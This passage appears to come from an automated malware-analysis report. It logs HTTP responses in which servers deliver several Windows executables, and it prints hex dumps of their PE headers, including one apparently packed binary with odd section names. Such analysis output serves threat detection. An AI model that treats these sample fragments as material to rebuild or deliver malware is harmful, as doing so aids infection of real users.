00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:01:34 GMTContent-Type: application/octet-streamContent-Length: 2132992Last-Modified: Thu, 07 Nov 2024 04:53:51 GMTConnection: keep-aliveETag: "672c47df-208c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 74 6d 7a 6f 7a 79 00 e0 19 00 00 90 58 00 00 dc 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 77 73 63 68 6d 76 67 00 10 00 00 00 70 72 00 00 04 00 00 00 66 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 6a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 07 Nov 2024 05:01:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 07 Nov 2024 05:01:44 GMTContent-Type: application/octet-streamContent-Length: 2132992Last-Modified: Thu, 07 Nov 2024 04:53:51 GMTConnection: keep-aliveETag: "672c47df-208c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6c 74 6d 7a 6f 7a 79 00 e0 19 00 00 90 58 00 00 dc 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 77 73 63 68 6d 76 67 00 10 00 00 00 70 72 00 00 04 00 00 00 66 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 6a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 